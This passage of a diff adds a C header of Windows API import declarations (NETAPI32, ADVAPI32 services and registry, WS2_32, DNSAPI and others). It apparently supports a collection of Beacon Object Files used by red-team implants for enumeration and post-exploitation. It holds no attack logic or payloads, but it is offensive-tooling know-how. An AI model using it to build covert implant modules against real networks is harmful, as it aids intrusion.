+ BOOL Order);
+
+// MSVCRT
+WINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long _Value, char *_Dest,
+ int _Radix);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements,
+ size_t _SizeOfElements);
+WINBASEAPI void *__cdecl MSVCRT$memcpy(void *__restrict__ _Dst,
+ const void *__restrict__ _Src,
+ size_t _MaxCount);
+WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1, const void *_Buf2,
+ size_t _Size);
+WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);
+WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format,
+ ...);
+WINBASEAPI int __cdecl MSVCRT$vsnprintf(char *__restrict__ d, size_t n,
+ const char *__restrict__ format,
+ va_list arg);
+WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t *__restrict__ _Dest,
+ size_t _Count,
+ const wchar_t *__restrict__ _Format,
+ ...);
+WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize,
+ const wchar_t *_Src);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,
+ const wchar_t *_rhs);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t *__restrict__ _Str,
+ const wchar_t *__restrict__ _Delim);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str,
+ const wchar_t *_Delim,
+ wchar_t **_Context);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,
+ const wchar_t *_SubStr);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t *__restrict__ _Dest,
+ const wchar_t *__restrict__ _Source);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t *__restrict__ _Dest,
+ const wchar_t *__restrict__ _Source,
+ size_t _Count);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t *__restrict__ _Dest,
+ const wchar_t *__restrict__ _Source);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,
+ const wchar_t *_Str2);
+WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str,
+ wchar_t _Ch);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t *__restrict__ _Dest,
+ const wchar_t *__restrict__ _Source,
+ size_t _Count);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str, wchar_t _Ch);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str, wchar_t _Ch);
+WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(
+ const wchar_t *__restrict__ _Str, wchar_t **__restrict__ _EndPtr,
+ int _Radix);
+DECLSPEC_IMPORT char *__cdecl MSVCRT$strcat(char *__restrict__ _Dest,
+ const char *__restrict__ _Source);
+WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str, size_t _MaxCount);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);
+DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1, const char *_Str2);
+WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1, const char *_Str2,
+ size_t _MaxCount);
+DECLSPEC_IMPORT char *__cdecl MSVCRT$strcpy(char *__restrict__ __dst,
+ const char *__restrict__ __src);
+DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack,
+ const char *needle);
+DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle);
+DECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char *__restrict__ _Str,
+ const char *__restrict__ _Delim);
+_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str, const char *_Delim,
+ char **_Context);
+WINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char *__restrict__ _Str,
+ char **__restrict__ _EndPtr,
+ int _Radix);
+
+// DNSAPI
+DECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR, WORD, DWORD,
+ PIP4_ARRAY, PDNS_RECORD *,
+ PVOID *);
+DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData, DNS_FREE_TYPE FreeType);
+
+// WSOCK32
+DECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp);
+
+// NETAPI32
+DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID,
+ LPVOID, ULONG, LPVOID);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,
+ LPCWSTR username, DWORD level,
+ LPBYTE *bufptr);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,
+ DWORD level, LPBYTE *bufptr);
+WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername, DWORD level,
+ LPBYTE *bufptr, DWORD prefmaxlen,
+ LPDWORD entriesread,
+ LPDWORD totalentries,
+ DWORD servertype, LMCSTR domain,
+ LPDWORD resume_handle);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(
+ LPCWSTR servername, LPCWSTR username, DWORD level, LPBYTE *bufptr,
+ DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(
+ LPCWSTR servername, LPCWSTR username, DWORD level, DWORD flags,
+ LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
+ LPDWORD totalentries);
+WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);
+WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,
+ LPCWSTR domainname,
+ LPBYTE *bufptr);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername, DWORD level,
+ DWORD filter, LPBYTE *bufptr,
+ DWORD prefmaxlen,
+ LPDWORD entriesread,
+ LPDWORD totalentries,
+ LPDWORD resume_handle);
+WINBASEAPI DWORD WINAPI
+NETAPI32$NetGroupGetUsers(LPCWSTR servername, LPCWSTR groupname, DWORD level,
+ LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
+ LPDWORD totalentries, PDWORD_PTR ResumeHandle);
+WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(
+ LPCWSTR ServerName, DWORD Level, DWORD Index, DWORD EntriesRequested,
+ DWORD PreferredMaximumLength, LPDWORD ReturnedEntryCount,
+ PVOID *SortedBuffer);
+WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(
+ LPCWSTR servername, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen,
+ LPDWORD entriesread, LPDWORD totalentries, PDWORD_PTR resumehandle);
+WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(
+ LPCWSTR servername, LPCWSTR localgroupname, DWORD level, LPBYTE *bufptr,
+ DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries,
+ PDWORD_PTR resumehandle);
+WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,
+ LPCWSTR username, DWORD level,
+ LPBYTE buf, LPDWORD parm_err);
+WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername, DWORD level,
+ LPBYTE *bufptr, DWORD prefmaxlen,
+ LPDWORD entriesread,
+ LPDWORD totalentries,
+ LPDWORD resume_handle);
+WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);
+WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(
+ LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level,
+ LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries,
+ LPDWORD resumehandle);
+
+// mpr
+WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType,
+ DWORD dwUsage,
+ LPNETRESOURCEW lpNetResource,
+ LPHANDLE lphEnum);
+WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount,
+ LPVOID lpBuffer,
+ LPDWORD lpBufferSize);
+WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum);
+WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(
+ LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);
+WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName,
+ LPWSTR lpRemoteName,
+ LPDWORD lpnLength);
+WINBASEAPI DWORD WINAPI
+MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer,
+ LPDWORD lpcbBuffer, LPWSTR *lplpSystem);
+WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName,
+ LPDWORD lpnLength);
+WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource,
+ LPCWSTR lpPassword,
+ LPCWSTR lpUserName,
+ DWORD dwFlags);
+WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName,
+ DWORD dwFlags, BOOL fForce);
+
+// user32
+WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,
+ WNDENUMPROC lpfn,
+ LPARAM lParam);
+WINUSERAPI int WINAPI USER32$IsWindowVisible(HWND hWnd);
+WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd, LPSTR lpString,
+ int nMaxCount);
+WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPSTR lpClassName,
+ int nMaxCount);
+WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,
+ LPCWSTR lpszCurrent);
+WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND hWndParent,
+ HWND hWndChildAfter,
+ LPCSTR lpszClass,
+ LPCSTR lpszWindow);
+WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND hwnd, UINT Msg,
+ WPARAM wParam, LPARAM lParam);
+WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd, LPSTR lpString,
+ int nMaxCount);
+WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName,
+ int nMaxCount);
+WINUSERAPI BOOL WINAPI USER32$EnumChildWindows(HWND hWndParent,
+ WNDENUMPROC lpEnumFunc,
+ LPARAM lParam);
+
+// secur32
+WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA(int NameFormat,
+ LPSTR lpNameBuffer,
+ PULONG nSize);
+
+// shlwapi
+WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst, LPCSTR lpSrch);
+
+// advapi32
+WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle,
+ DWORD DesiredAccess,
+ PHANDLE TokenHandle);
+WINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyW(
+ HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved,
+ LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen,
+ LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen,
+ LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(
+ HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
+ LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
+WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,
+ LPSTR *StringSid);
+WINADVAPI WINBOOL WINAPI
+ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(
+ LPCWSTR StringSecurityDescriptor, DWORD StringSDRevision,
+ PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize);
+WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA(
+ LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName,
+ LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName,
+ PSID_NAME_USE peUse);
+WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW(
+ LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName,
+ LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName,
+ PSID_NAME_USE peUse);
+WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA(LPCSTR lpSystemName,
+ PLUID lpLuid,
+ LPSTR lpName,
+ LPDWORD cchName);
+WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA(
+ LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName,
+ LPDWORD cchDisplayName, LPDWORD lpLanguageId);
+WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,
+ LPCSTR lpDatabaseName,
+ DWORD dwDesiredAccess);
+WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,
+ LPCSTR lpServiceName,
+ DWORD dwDesiredAccess);
+WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(
+ SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus);
+WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(
+ SC_HANDLE hService, LPQUERY_SERVICE_CONFIGA lpServiceConfig,
+ DWORD cbBufSize, LPDWORD pcbBytesNeeded);
+WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject);
+WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(
+ SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType,
+ DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize,
+ LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle,
+ LPCSTR pszGroupName);
+WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,
+ SC_STATUS_TYPE InfoLevel,
+ LPBYTE lpBuffer,
+ DWORD cbBufSize,
+ LPDWORD pcbBytesNeeded);
+WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,
+ DWORD dwInfoLevel,
+ LPBYTE lpBuffer,
+ DWORD cbBufSize,
+ LPDWORD pcbBytesNeeded);
+WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,
+ DWORD dwInfoLevel,
+ LPVOID lpInfo);
+WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(
+ SC_HANDLE hService, DWORD dwServiceType, DWORD dwStartType,
+ DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup,
+ LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName,
+ LPCSTR lpPassword, LPCSTR lpDisplayName);
+WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(
+ SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName,
+ DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType,
+ DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup,
+ LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName,
+ LPCSTR lpPassword);
+WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService);
+WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey,
+ DWORD ulOptions, REGSAM samDesired,
+ PHKEY phkResult);
+WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(
+ SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType,
+ DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize,
+ LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle,
+ LPCWSTR pszGroupName);
+WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey, LPCSTR lpSubKey,
+ PHKEY phkResult);
+WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName,
+ DWORD Reserved, DWORD dwType,
+ CONST BYTE *lpData, DWORD cbData);
+WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey,
+ DWORD ulOptions, REGSAM samDesired,
+ PHKEY phkResult);
+WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,
+ HKEY hKey, PHKEY phkResult);
+WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
+WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey,
+ PHKEY phkResult);
+WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(
+ HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions,
+ REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
+ PHKEY phkResult, LPDWORD lpdwDisposition);
+WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey, LPCSTR lpSubKey,
+ REGSAM samDesired,
+ DWORD Reserved);
+WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey, LPCSTR lpSubKey,
+ LPCSTR lpValueName);
+WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey, LPCSTR lpValueName,
+ LPDWORD lpReserved,
+ LPDWORD lpType, LPBYTE lpData,
+ LPDWORD lpcbData);
+WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(
+ HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved,
+ LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen,
+ LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen,
+ LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);
+WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey, DWORD dwIndex,
+ LPSTR lpValueName,
+ LPDWORD lpcchValueName,
+ LPDWORD lpReserved, LPDWORD lpType,
+ LPBYTE lpData, LPDWORD lpcbData);
+WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueW(HKEY hKey, DWORD dwIndex,
+ LPWSTR lpValueName,
+ LPDWORD lpcchValueName,
+ LPDWORD lpReserved, LPDWORD lpType,
+ LPBYTE lpData, LPDWORD lpcbData);
+WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey, DWORD dwIndex,
+ LPSTR lpName, LPDWORD lpcchName,
+ LPDWORD lpReserved, LPSTR lpClass,
+ LPDWORD lpcchClass,
+ PFILETIME lpftLastWriteTime);
+WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExW(HKEY hKey, DWORD dwIndex,
+ LPWSTR lpName, LPDWORD lpcchName,
+ LPDWORD lpReserved, LPSTR lpClass,
+ LPDWORD lpcchClass,
+ PFILETIME lpftLastWriteTime);
+WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey, LPCSTR lpValueName);
+WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName,
+ LPDWORD lpReserved,
+ LPDWORD lpType, LPBYTE lpData,
+ LPDWORD lpcbData);
+WINADVAPI LONG WINAPI
+ADVAPI32$RegSaveKeyExA(HKEY hKey, LPCSTR lpFile,
+ LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD Flags);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW(
+ LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation,
+ PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength,
+ LPDWORD lpnLengthNeeded);
+WINADVAPI WINBOOL WINAPI
+ADVAPI32$GetSecurityDescriptorOwner(PSECURITY_DESCRIPTOR pSecurityDescriptor,
+ PSID *pOwner, LPBOOL lpbOwnerDefaulted);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl(
+ PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent,
+ PACL *pDacl, LPBOOL lpbDaclDefaulted);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation(
+ PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength,
+ ACL_INFORMATION_CLASS dwAclInformationClass);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce(PACL pAcl, DWORD dwAceIndex,
+ LPVOID *pAce);
+WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW(
+ LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName,
+ LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName,
+ PSID_NAME_USE peUse);
+WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,
+ LPWSTR *StringSid);
+WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask(PDWORD AccessMask,
+ PGENERIC_MAPPING GenericMapping);
+WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle,
+ DWORD DesiredAccess,
+ PHANDLE TokenHandle);
+WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(
+ HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
+ LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
+WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor(
+ PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);
+WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl(
+ PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl,
+ WINBOOL bDaclDefaulted);
+WINADVAPI WINBOOL WINAPI
+ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(
+ PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD RequestedStringSDRevision,
+ SECURITY_INFORMATION SecurityInformation, LPWSTR *StringSecurityDescriptor,
+ PULONG StringSecurityDescriptorLen);
+WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,
+ DWORD dwNumServiceArgs,
+ LPCSTR *lpServiceArgVectors);
+WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(
+ SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus);
+WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(
+ SC_HANDLE hService, DWORD dwServiceState, LPENUM_SERVICE_STATUSA lpServices,
+ DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned);
+
+// NTDLL
+WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(
+ PHANDLE FileHandle, ACCESS_MASK DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock,
+ PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess,
+ ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
+ ULONG EaLength);
+WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle);
+WINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile(
+ HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine,
+ PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode,
+ PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer,
+ ULONG OutputBufferLength);
+
+// IMAGEHLP
+WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(
+ HANDLE FileHandle, WORD TypeFilter, PDWORD CertificateCount, PDWORD Indices,
+ DWORD IndexCount);
+WINBASEAPI WINBOOL IMAGEAPI
+IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle, DWORD CertificateIndex,
+ LPWIN_CERTIFICATE Certificateheader);
+WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(
+ HANDLE FileHandle, DWORD CertificateIndex, LPWIN_CERTIFICATE Certificate,
+ PDWORD RequiredLength);
+
+// crypt32
+WINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature(
+ PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex,
+ const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded,
+ DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert);
+WINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW(PCCERT_CONTEXT pCertContext,
+ DWORD dwType, DWORD dwFlags,
+ void *pvTypePara,
+ LPWSTR pszNameString,
+ DWORD cchNameString);
+WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext(
+ DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded);
+WINIMPM WINBOOL WINAPI
+CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT pCertContext);
+WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty(
+ PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData);
+WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain(
+ HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext,
+ LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara,
+ DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext);
+WINIMPM VOID WINAPI
+CRYPT32$CertFreeCertificateChain(PCCERT_CHAIN_CONTEXT pChainContext);
+WINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo(DWORD dwKeyType,
+ void *pvKey,
+ DWORD dwGroupId);
+
+// WS2_32
+// defining this here to avoid including ws2tcpip.h which results in include
+// order warnings when bofs include windows.h before bofdefs.h
+typedef struct addrinfo {
+ int ai_flags;
+ int ai_family;
+ int ai_socktype;
+ int ai_protocol;
+ size_t ai_addrlen;
+ char *ai_canonname;
+ struct sockaddr *ai_addr;
+ struct addrinfo *ai_next;
+} ADDRINFOA, *PADDRINFOA;
+
+// WS2_32
+DECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock,
+ const struct sockaddr *name,
+ int namelen);
+DECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock);
+DECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo *ai);
+DECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char *host, char *port,
+ const struct addrinfo *hints,
+ struct addrinfo **result);
+DECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong);
+DECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort);
+DECLSPEC_IMPORT char *__stdcall WS2_32$inet_ntoa(struct in_addr in);
+DECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd,
+ u_long *arg);
+DECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set *readfds,
+ fd_set *writefds, fd_set *exceptfds,
+ const struct timeval *timeout);
+DECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type,
+ int protocol);
+DECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock,
+ struct fd_set *fdset);
+DECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError();
+DECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr,
+ LPWSTR pStringBuf,
+ size_t StringBufSIze);
+DECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf,
+ PVOID pAddr);
+
+// dnsapi
+DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData, DNS_FREE_TYPE FreeType);
+DECLSPEC_IMPORT int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data);
+
+// OLE32
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved,
+ DWORD dwCoInit);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(
+ PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc,
+ SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1,
+ DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities,
+ void *pReserved3);
